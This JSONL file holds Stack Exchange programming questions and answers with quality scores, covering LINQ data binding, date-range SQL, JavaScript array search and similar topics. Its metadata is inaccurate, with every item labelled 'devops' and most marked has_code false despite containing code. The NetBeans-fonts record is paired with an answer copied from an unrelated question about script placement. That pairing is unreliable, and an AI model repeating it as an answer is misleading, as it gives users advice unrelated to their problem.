{"id": "hf_0c9586a3e63d", "question": "<p>I have a pretty complicated Linq query that I can't seem to get into a LinqDataSsource for use in a GridView:</p>\n\n<pre><code>IEnumerable&lt;ticket&gt; tikPart = (\n    from p in db.comments where \n        p.submitter == me.id &amp;&amp; \n        p.ticket.closed == DateTime.Parse(\"1/1/2001\") &amp;&amp; \n        p.ticket.originating_group != me.sub_unit \n    select p.ticket\n    ).Distinct();\n</code></pre>\n\n<p>How can I get this into a GridView?  Thank you!</p>\n", "question_body": "", "answer": "```\n```\ngridview.DataSource = tikPart.ToList();\ngridview.DataBind();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.829742"}
{"id": "hf_1587bba0eba4", "question": "<p>I want to obtain the current number of window handles and the system-wide window handle limit in C#. How do I go about this?</p>\n", "question_body": "", "answer": "As Raymond Chen put it some time ago, if you're thinking about window handle limits, you're probably doing something wrong :)\nAnyway, I bet there's no special C# way to do it, because it's very system-specific. You can use the same functions that you would use in a C++ application. Call the functions using P/Invoke. To learn how to write the imports, go to\npinvoke.net\n.\nEdit: As I understand your question, I assume you already know how to do that in a Win32 application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.854809"}
{"id": "hf_08f1e2c6ac56", "question": "<p>I've been trying to display text using a Quartz context, but no matter what I've tried I simply haven't had luck getting the text to display (I'm able to display all sorts of other Quartz objects though). Anybody knows what I might be doing wrong?</p>\n\n<p>example:</p>\n\n<pre><code>-(void)drawRect:(CGRect)rect\n{   \n  // Drawing code\n  CGContextRef  context = UIGraphicsGetCurrentContext();\n  CGContextSelectFont(context, \"Arial\", 24, kCGEncodingFontSpecific);\n  CGContextSetTextPosition(context,80,80);\n  CGContextShowText(context, \"hello\", 6);\n  //not even this works\n  CGContextShowTextAtPoint(context, 1,1, \"hello\", 6);\n}    \n</code></pre>\n", "question_body": "", "answer": "Here is a fragment of code that I'm using.\n```\n```\nUIColor *mainTextColor = [UIColor whiteColor];\n[mainTextColor set];\ndrawTextLjust(@\"Sample Text\", 8, 50, 185, 18, 16);\n```\n```\nAnd:\n```\n```\nstatic void drawTextLjust(NSString* text, CGFloat y, CGFloat left, CGFloat right,\n                          int maxFontSize, int minFontSize) {\n    CGPoint point = CGPointMake(left, y);\n    UIFont *font = [UIFont systemFontOfSize:maxFontSize];\n    [text drawAtPoint:point forWidth:right - left withFont:font\n       minFontSize:minFontSize actualFontSize:NULL\n       lineBreakMode:UILineBreakModeTailTruncation\n       baselineAdjustment:UIBaselineAdjustmentAlignBaselines];\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.893525"}
{"id": "hf_486baa12f261", "question": "<p>The heart of any good web app is it's offline capability and JavaScript functionality. Currently what tools and wrappers are availability for the desktop web app maker to cross over to the mobile market? What would be the necessary read ups for such a team?</p>\n\n<p>Clarifications:\nI am searching for information on how much offline capabilities and JavaScript functionality has improved on the Mobile phones. I know that the term 'mobile phones' are too broad. I am aware of offline solutions like Gears, Adobe AIR, Silverlight etc. But are these really for mobile phones? </p>\n\n<p>How much has JavaScript improved on Mobile Webkit Browsers such as iPhone and Symbians? OperaMini also claims some JavaScript functionality.</p>\n", "question_body": "", "answer": "I'm not totally sure I understand your question, but you'll probably want to take a look at the\niPhone Dev Center\nand the\nGoogle Android SDK\nto start.\nBlackberry\nalso has a Development Program. Beyond that, you may want to look into\nWAP and WML\n.\nGoogle Gears\n,\nAdobe Air\n, and\nMozilla's XUL\nwill give you some offline capability, but to my knowledge they won't wrap an existing desktop app and make it available for the web.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.976759"}
{"id": "hf_54e98364c9b3", "question": "<p>I have a flash application running Flash 9 (CS3).  Application is able to control the Softkeys when this flash application is loaded in the supported mobile device.  But, the application doesn't have control when the same is embedded in HTML page and browsed via supported mobile device.  Any ideas how to make this work?</p>\n\n<p>Thanks\nKeerthi</p>\n", "question_body": "", "answer": "There is no special way to receive soft key events when embedded in HTML - if the browser/OS gives the events to Flash, then you can catch them like any other key event:\n```\n```\nvar myListener = new Object();\nmyListener.onKeyDown = function() {\n    var code = Key.getCode();\n    if (code==ExtendedKey.SOFT1) {\n        trace(\"I got a soft key event\");\n    }\n}\nKey.addListener(myListener);\n```\n```\nHowever, you'll find that most phones/browsers will not give you soft key events when your SWF is embedded in HTML. This isn't part of the Flash Lite spec - strictly speaking I believe they could give you those events if they wanted to, but most phones simply use those keys for browser functions, and consume them before they get to Flash.\nNote that you can check at runtime whether or not softkeys are available:\n```\n```\ntrace(System.capabilities.hasMappableSoftKeys);\ntrace(System.capabilities.softKeyCount);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.066097"}
{"id": "hf_dc97d7c77f31", "question": "<p>As per the title. For those who don't know, it's basically Ada for .Net.</p>\n", "question_body": "", "answer": "According to [wikipedia](\nhttp://en.wikipedia.org/wiki/A_Sharp_(.NET))\n, A#.Net has been folded into \"GNAT for .Net\" for future releases\nAdaCore\nhas taken over this development, and announced \"GNAT for .NET\", which is a fully supported .NET product with all of the features of A# and more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.127494"}
{"id": "hf_786c8f22be3f", "question": "<p>One of the stated goals of the PureMVC framework is to avoid platform dependencies in order to be portable. Considering that because of language and API differences application code will always be heavily dependent on the platform, and that avoiding platform dependencies makes the framework reinvent the wheel and/or only provide a least-common-denominator feature set, in what way does the portability of the framework benefit me as an application developer?</p>\n", "question_body": "", "answer": "I've worked with PureMVC. They're trying to implement their stuff in quite a lot of languages. You may be right about the least common denominator, but overall, it's not a bad framework, and I've seen a really nice AS3 app in PureMVC.\nI don't think they're talking about portability in terms of porting actual code. The idea there is more that you're using a generalized MVC architecture, which you could apply to other projects and other languages.\nThey're trying to say that if you become familiar with the PureMVC pattern, you could potentially come into a new PureMVC codebase, even if it's another language, and you would already know the lay of the land.\nYou might also say that developers who develop good PureMVC skills are likely to develop good habits which will translate as they go from language to language.  But then again, maybe not.. for the reasons you mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.151515"}
{"id": "hf_b37c6eb13957", "question": "<p>What are the differences in implementing interfaces <strong>implicitly</strong> and <strong>explicitly</strong> in C#?</p>\n\n<p>When should you use implicit and when should you use explicit?</p>\n\n<p>Are there any pros and/or cons to one or the other?</p>\n\n<hr>\n\n<p>Microsoft's official guidelines (from first edition <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321246756\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Framework Design Guidelines</a>) states that <strong>using explicit implementations are not recommended</strong>, since it gives the code unexpected behaviour.</p>\n\n<p>I think this guideline is very <strong>valid in a pre-IoC-time</strong>, when you don't pass things around as interfaces.</p>\n\n<p>Could anyone touch on that aspect as well?</p>\n", "question_body": "", "answer": "Implicit\nis when you define your interface via a member on your class.\nExplicit\nis when you define methods within your class on the interface. I know that sounds confusing but here is what I mean:\n```\nIList.CopyTo\n```\nwould be implicitly implemented as:\n```\n```\npublic void CopyTo(Array array, int index)\n{\n    throw new NotImplementedException();\n}\n```\n```\nand explicitly as:\n```\n```\nvoid ICollection.CopyTo(Array array, int index)\n{\n    throw new NotImplementedException();\n}\n```\n```\nThe difference is that implicit implementation allows you to access the interface through the class you created by casting the interface as that class and as the interface itself. Explicit implementation allows you to access the interface only by casting it as the interface itself.\n```\n```\nMyClass myClass = new MyClass(); // Declared as concrete class\nmyclass.CopyTo //invalid with explicit\n((IList)myClass).CopyTo //valid with explicit.\n```\n```\nI use explicit primarily to keep the implementation clean, or when I need two implementations. Regardless, I rarely use it.\nI am sure there are more reasons to use/not use explicit that others will post.\nSee the\nnext post\nin this thread for excellent reasoning behind each.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.175583"}
{"id": "hf_e07d532ec2fc", "question": "<p>I want to change the title showing in a page based on information I pick up from within the page (eg to show the number of inbox messages)</p>\n\n<p><code>document.getElementsByTagName('title')[0].innerHTML=\"foo\";</code> does change the title tag, but firefox does not update the displayed title (in window and tags) when this happens. </p>\n\n<p>Is this possible? </p>\n", "question_body": "", "answer": "Try using this instead:\n```\ndocument.title = \"MyTitle\";\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.238251"}
{"id": "hf_eadbe655dcb4", "question": "<p>I've recently read the Yahoo manifesto <a href=\"http://developer.yahoo.com/performance/rules.html#postload\" rel=\"noreferrer\">Best Practices for Speeding Up Your Web Site</a>. They recommend to put the JavaScript inclusion at the bottom of the HTML code when we can.</p>\n\n<p>But where exactly and when?</p>\n\n<p>Should we put it before closing <code>&lt;/html&gt;</code> or after ? And above all, when should we still put it in the <code>&lt;head&gt;</code> section?</p>\n", "question_body": "", "answer": "If you put it at the bottom, it loads last, hence speeding up the speed that the user can see the page. It does need to be before the final\n```\n</html>\n```\nthough otherwise it won't be part of the DOM.\nIf the code is needed instantly though, then put it in the head.\nIt's best to put things like blog widgets at the bottom so that if they don't load, it doesn't affect the usability of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.262315"}
{"id": "hf_9d506773fbbe", "question": "<p>I'm using netbeans on ubuntu, I would like to add some fonts to it. Could anyone tell me how this is done ?</p>\n", "question_body": "", "answer": "If you put it at the bottom, it loads last, hence speeding up the speed that the user can see the page. It does need to be before the final\n```\n</html>\n```\nthough otherwise it won't be part of the DOM.\nIf the code is needed instantly though, then put it in the head.\nIt's best to put things like blog widgets at the bottom so that if they don't load, it doesn't affect the usability of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.286142"}
{"id": "hf_6dae8ed40889", "question": "<p>In MySQL, If I have a list of date ranges (range-start and range-end). e.g.</p>\n\n<pre><code>10/06/1983 to 14/06/1983\n15/07/1983 to 16/07/1983\n18/07/1983 to 18/07/1983\n</code></pre>\n\n<p>And I want to check if another date range contains ANY of the ranges already in the list, how would I do that?</p>\n\n<p>e.g.</p>\n\n<pre><code>06/06/1983 to 18/06/1983 = IN LIST\n10/06/1983 to 11/06/1983 = IN LIST\n14/07/1983 to 14/07/1983 = NOT IN LIST\n</code></pre>\n", "question_body": "", "answer": "This is a classical problem, and it's actually easier if you reverse the logic.\nLet me give you an example.\nI'll post one period of time here, and all the different variations of other periods that overlap in some way.\n```\n```\n|-------------------|          compare to this one\n               |---------|                contained within\n           |----------|                   contained within, equal start\n                   |-----------|          contained within, equal end\n           |-------------------|          contained within, equal start+end\n     |------------|                       not fully contained, overlaps start\n                   |---------------|      not fully contained, overlaps end\n     |-------------------------|          overlaps start, bigger\n           |-----------------------|      overlaps end, bigger\n     |------------------------------|     overlaps entire period\n```\n```\non the other hand, let me post all those that doesn't overlap:\n```\n```\n|-------------------|          compare to this one\n     |---|                                ends before\n                                 |---|    starts after\n```\n```\nSo if you simple reduce the comparison to:\n```\n```\nstarts after end\nends before start\n```\n```\nthen you'll find all those that doesn't overlap, and then you'll find all the non-matching periods.\nFor your final NOT IN LIST example, you can see that it matches those two rules.\nYou will need to decide wether the following periods are IN or OUTSIDE your ranges:\n```\n```\n|-------------|\n   |-------|                       equal end with start of comparison period\n                         |-----|   equal start with end of comparison period\n```\n```\nIf your table has columns called range_end and range_start, here's some simple SQL to retrieve all the matching rows:\n```\n```\nSELECT *\nFROM periods\nWHERE NOT (range_start > @check_period_end\n           OR range_end < @check_period_start)\n```\n```\nNote the\nNOT\nin there. Since the two simple rules finds all the\nnon-matching\nrows, a simple NOT will reverse it to say:\nif it's not one of the non-matching rows, it has to be one of the matching ones\n.\nApplying simple reversal logic here to get rid of the NOT and you'll end up with:\n```\n```\nSELECT *\nFROM periods\nWHERE range_start <= @check_period_end\n      AND range_end >= @check_period_start\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.349841"}
{"id": "hf_70b96bb01ceb", "question": "<p>This may seem like a programming 101 question and I had thought I knew the answer but now find myself needing to double check. In this piece of code below, will the exception thrown in the first catch block then be caught by the general Exception catch block below?</p>\n\n<pre><code>try {\n  // Do something\n} catch(IOException e) {\n  throw new ApplicationException(\"Problem connecting to server\");\n} catch(Exception e) {\n  // Will the ApplicationException be caught here?\n}\n</code></pre>\n\n<p>I always thought the answer would be no, but now I have some odd behaviour that could be caused by this. The answer is probably the same for most languages but I'm working in Java.</p>\n", "question_body": "", "answer": "No, since the new\n```\nthrow\n```\nis not in the\n```\ntry\n```\nblock directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.410404"}
{"id": "hf_023af5b8ec75", "question": "<p>I have written an application which has a modal form. How can I ensure that this form does not lose the focus even when an other application is started?</p>\n", "question_body": "", "answer": "Actually, this is exactly the sort of thing you shouldn't be doing.\nThere's too many programs around that assume they control the computer they're installed on.  It is the user of your application that should be in control.\nThat's why later versions of Windows disallowed stealing of focus instead insisting on just blinking the entry in the task list bar.\nYou may well find a way to do it (though I doubt it), but I urge you to rethink it.  I'd be interested in knowing why you thought it was necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.446018"}
{"id": "hf_cf4764103f79", "question": "<p>My company releases a small software product for which I've recently been taking over the development side.  It is a C# Windows Forms application.</p>\n\n<p>One of the things I've noticed is that much of the information about how the software is used is filtered through my superiors and I get the feeling that I'm missing important detail in some of the messages.</p>\n\n<p>I realise I'll have to work on the management issues with this situation, however in order to give another view on the problem I've been considering a technological solution.  Perhaps something similar to the \"Microsoft Customer Experience Improvement Program\".</p>\n\n<p>I was wondering if anyone out there had any experience or advice monitoring and reporting on user behaviour in their applications?</p>\n", "question_body": "", "answer": "I would suggest you get your application to write its \"usage information\" somewhere and then,\nwith the users permission\n, transmit it electronically every so often.\nNote the emphasis above.  Depending on your jurisdiction, you could get into serious trouble transmitting any sort of data from someone else's computer without permission.\nYou're more likely to get permission if:\n1/ You make it clear, on install or update, that your program will collect information and transmit it only with permission.\n2/ You explain clearly what the information is and that it only holds \"usage information\", nothing that can be traced back to the user of the software (NO serial numbers, etc).\n3/ You request permission to transmit infrequently.  If I had an obnoxious program that asked me daily, I'd soon stop using it altogether.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.482255"}
{"id": "hf_5d975bd34ef9", "question": "<p>Is there a way of comparing two bitmasks in Transact-SQL to see if any of the bits match? I've got a User table with a bitmask for all the roles the user belongs to, and I'd like to select all the users that have <em>any</em> of the roles in the supplied bitmask. So using the data below, a roles bitmask of 6 (designer+programmer) should select Dave, Charlie and Susan, but not Nick.</p>\n\n<pre>User Table\n----------\nID  Username  Roles\n1   Dave      6\n2   Charlie   2\n3   Susan     4\n4   Nick      1\n\nRoles Table\n-----------\nID  Role\n1   Admin\n2   Programmer\n4   Designer</pre>\n\n<p>Any ideas? Thanks.</p>\n", "question_body": "", "answer": "Use the Transact-SQL\nbitwise AND operator\n\"&\" and compare the result to zero.  Even better, instead of coding the roles as bits of an integer column, use boolean columns, one for each role.  Then your query would simply be designer AND programmer friendly.  If you expect the roles to change a lot over the lifetime of your application, then use a many-to-many table to map the association between users and their roles.  both alternatives are more portable than relying on the existence of the bitwise-AND operator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.517664"}
{"id": "hf_0de1d00ffa92", "question": "<p>In PHP, a string enclosed in \"double quotes\" will be parsed for variables to replace whereas a string enclosed in 'single quotes' will not. In Python, does this also apply?</p>\n", "question_body": "", "answer": "No\n:\n2.4.1. String and Bytes literals\n...In plain English: Both types of literals can be enclosed in matching single quotes (\n```\n'\n```\n) or double quotes (\n```\n\"\n```\n). They can also be enclosed in matching groups of three single or double quotes (these are generally referred to as triple-quoted strings). The backslash (\n```\n\\\n```\n) character is used to escape characters that otherwise have a special meaning, such as newline, backslash itself, or the quote character...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.541554"}
{"id": "hf_f8b8e9d56fc5", "question": "<p>I have a simple message box in a WPF application that is launched as below:</p>\n\n<pre><code>private void Button_Click(object sender, RoutedEventArgs e)\n{\n   MessageBox.Show(\"Howdy\", \"Howdy\");\n}\n</code></pre>\n\n<p>I can get <a href=\"http://www.codeplex.com/white\" rel=\"nofollow noreferrer\" title=\"white\">white</a> to click my button and launch the message box.  </p>\n\n<p>UISpy shows it as a child of my window I couldn't work out the method to access it.</p>\n\n<p>How do I get access to my MessageBox to verify its contents?</p>\n", "question_body": "", "answer": "Found it! The window class has a MessageBox method that does the trick:\n```\n```\nvar app = Application.Launch(@\"c:\\ApplicationPath.exe\");\n        var window = app.GetWindow(\"Window1\");\n        var helloButton = window.Get<Button>(\"Hello\");\n        Assert.IsNotNull(helloButton);\n        helloButton.Click();\n        var messageBox = window.MessageBox(\"Howdy\");\n        Assert.IsNotNull(messageBox);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.565192"}
{"id": "hf_06f55fa98efc", "question": "<p>How do you do your own fonts?  I don't want a heavyweight algorithm (freetype, truetype, adobe, etc) and would be fine with pre-rendered bitmap fonts.</p>\n\n<p>I do want anti-aliasing, and would like proportional fonts if possible.</p>\n\n<p>I've heard I can use Gimp to do the rendering (with some post processing?)</p>\n\n<p>I'm developing for an embedded device with an LCD.  It's got a 32 bit processor, but I don't want to run Linux (overkill - too much code/data space for too little functionality that I would use)</p>\n\n<p>C.  C++ if necessary, but C is preferred.  Algorithms and ideas/concepts are fine in any language...</p>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "In my old demo-scene days I often drew all characters in the font in one big bitmap image. In the code, I stored the (X,Y) coordinates of each character in the font, as well as the width of each character. The height was usually constant throughout the font. If space isn't an issue, you can put all characters in a grid, that is - have a constant distance between the top-left corner of each character.\nRendering the text then becomes a matter of copying one letter at a time to the destination position. At that time, I usually reserved one color as being the \"transparent\" color, but you could definitely use an alpha-channel for this today.\nA simpler approach, that can be used for small b/w fonts, is to define the characters directly in code:\n```\n```\nLetterA  db 01111100b\n         db 11000110b\n         db 11000110b\n         db 11111110b\n         db 11000110b\n         db 11000110b\n```\n```\nThe XPM file format is actually a file format with C syntax that can be used as a hybrid solution for storing the characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.588308"}
{"id": "hf_41969019deec", "question": "<p>I know most people think that as a <em>bad practice</em> but when you are trying to make your class public interface only work with references, keeping pointers inside and only when necessary, I think there is no way to return something telling that the value you are looking doesn't exist in the container.</p>\n\n<pre>\nclass list {\n    public:\n        value &get(type key);\n};\n</pre>\n\n<p>Let's think that you don't want to have dangerous pointers being saw in the public interface of the class, how do you return a not found in this case, throwing an exception?</p>\n\n<p>What is your approach to that? Do you return an empty <em>value</em> and check for the empty state of it? I actually use the throw approach but I introduce a checking method:</p>\n\n<pre>\nclass list {\n   public:\n      bool exists(type key);\n      value &get(type key);\n};\n</pre>\n\n<p>So when I forget to check that the value exists first I get an exception, that is really an <em>exception</em>.</p>\n\n<p>How would  you do it?</p>\n", "question_body": "", "answer": "Interesting question. It's a problem in C++ to exclusively use references I guess - in Java the references are more flexible and can be null. I can't remember if it's legal C++ to force a null reference:\n```\n```\nMyType *pObj = nullptr;\nreturn *pObj\n```\n```\nBut I consider this dangerous. Again in Java I'd throw an exception as this is common there, but I rarely see exceptions used so freely in C++.\nIf I was making a puclic API for a reusable C++ component and had to return a reference, I guess I'd go the exception route.\nMy real preference is to have the API return a pointer; I consider pointers an integral part of C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.623631"}
{"id": "hf_e34c8e23e0b4", "question": "<p>According to this article <a href=\"http://msdn.microsoft.com/en-us/library/cc197951(VS.95).aspx\" rel=\"nofollow noreferrer\">Silverlight 2 Beta 2</a> supports the <code>DataContractJsonSerializer</code> object. But, when I try to use it VS says </p>\n\n<blockquote>\n  <p>\"Type 'DataContractJsonSerializer' is not defined\".</p>\n</blockquote>\n\n<p>I have a method marked as ScriptableMember that gets called from JavaScript and is passed an Object. Inside this method I need to serialize the object to a string (preferably JSON) and then save it in isolated storage.</p>\n\n<p>Does Silverlight 2 Beta 2 really support DataContractJsonSerializer? Or would anyone recommend a different method of saving the JavaScript created ScriptObject in the Isolated Storage?</p>\n", "question_body": "", "answer": "For now, the only solution to this that I have found is to use the ASP.NET AJAX JavaScriptSerializer to do the JSON serialization/deserialization in JavaScript, and then just use Silverlight to store/retrieve the resulting string.\n```\n```\nSys.Serialization.JavaScriptSerializer.serialize(obj);\nSys.Serialization.JavaScriptSerializer.deserialize(json);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.753247"}
{"id": "hf_39026dc5dab1", "question": "<p>Can I use JavaScript to check (irrespective of scrollbars) if an HTML element has overflowed its content? For example, a long div with small, fixed size, the overflow property set to visible, and no scrollbars on the element.</p>\n", "question_body": "", "answer": "Try comparing\n```\nelement.scrollHeight\n```\n/\n```\nelement.scrollWidth\n```\nto\n```\nelement.offsetHeight\n```\n/\n```\nelement.offsetWidth\n```\nhttp://developer.mozilla.org/en/DOM/element.offsetWidth\nhttp://developer.mozilla.org/en/DOM/element.offsetHeight\nhttp://developer.mozilla.org/en/DOM/element.scrollWidth\nhttp://developer.mozilla.org/en/DOM/element.scrollHeight", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.801048"}
{"id": "hf_5e4cf79451cb", "question": "<p>this wiki page gave a general idea of how to convert a single char to ascii <a href=\"http://en.wikibooks.org/wiki/Ruby_Programming/ASCII\" rel=\"noreferrer\">http://en.wikibooks.org/wiki/Ruby_Programming/ASCII</a></p>\n\n<p>But say if I have a string and I wanted to get each character's ascii from it, what do i need to do?</p>\n\n<pre><code>\"string\".each_byte do |c|\n      $char = c.chr\n      $ascii = ?char\n      puts $ascii\nend\n</code></pre>\n\n<p>It doesn't work because it's not happy with the line $ascii = ?char</p>\n\n<pre><code>syntax error, unexpected '?'\n      $ascii = ?char\n                ^\n</code></pre>\n", "question_body": "", "answer": "The\n```\nc\n```\nvariable already contains the char code!\n```\n```\n\"string\".each_byte do |c|\n    puts c\nend\n```\n```\nyields\n```\n```\n115\n116\n114\n105\n110\n103\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.825435"}
{"id": "hf_42468a0d7daf", "question": "<p>What is the best way to find if an object is in an array?</p>\n\n<p>This is the best way I know:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function include(arr, obj) {\r\n  for (var i = 0; i &lt; arr.length; i++) {\r\n    if (arr[i] == obj) return true;\r\n  }\r\n}\r\n\r\nconsole.log(include([1, 2, 3, 4], 3)); // true\r\nconsole.log(include([1, 2, 3, 4], 6)); // undefined</code></pre>\r\n</div>\r\n</div>\r\n</p>\n", "question_body": "", "answer": "As of ECMAScript 2016 you can use\n```\nincludes()\n```\n```\n```\narr.includes(obj);\n```\n```\nIf you want to support IE or other older browsers:\n```\n```\nfunction include(arr,obj) {\n    return (arr.indexOf(obj) != -1);\n}\n```\n```\nEDIT:\nThis will not work on IE6, 7 or 8 though. The best workaround is to define it yourself if it's not present:\nMozilla's\n(ECMA-262) version:\n```\n```\nif (!Array.prototype.indexOf)\n   {\n\n        Array.prototype.indexOf = function(searchElement /*, fromIndex */)\n\n     {\n\n     \"use strict\";\n\n     if (this === void 0 || this === null)\n       throw new TypeError();\n\n     var t = Object(this);\n     var len = t.length >>> 0;\n     if (len === 0)\n       return -1;\n\n     var n = 0;\n     if (arguments.length > 0)\n     {\n       n = Number(arguments[1]);\n       if (n !== n)\n         n = 0;\n       else if (n !== 0 && n !== (1 / 0) && n !== -(1 / 0))\n         n = (n > 0 || -1) * Math.floor(Math.abs(n));\n     }\n\n     if (n >= len)\n       return -1;\n\n     var k = n >= 0\n           ? n\n           : Math.max(len - Math.abs(n), 0);\n\n     for (; k < len; k++)\n     {\n       if (k in t && t[k] === searchElement)\n         return k;\n     }\n     return -1;\n   };\n\n }\n```\n```\nDaniel James\n's version:\n```\n```\nif (!Array.prototype.indexOf) {\n   Array.prototype.indexOf = function (obj, fromIndex) {\n     if (fromIndex == null) {\n         fromIndex = 0;\n     } else if (fromIndex < 0) {\n         fromIndex = Math.max(0, this.length + fromIndex);\n     }\n     for (var i = fromIndex, j = this.length; i < j; i++) {\n         if (this[i] === obj)\n             return i;\n     }\n     return -1;\n   };\n }\n```\n```\nroosteronacid\n's version:\n```\n```\nArray.prototype.hasObject = (\n   !Array.indexOf ? function (o)\n   {\n     var l = this.length + 1;\n     while (l -= 1)\n     {\n         if (this[l - 1] === o)\n         {\n             return true;\n         }\n     }\n     return false;\n   } : function (o)\n   {\n     return (this.indexOf(o) !== -1);\n   }\n );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:41.849243"}
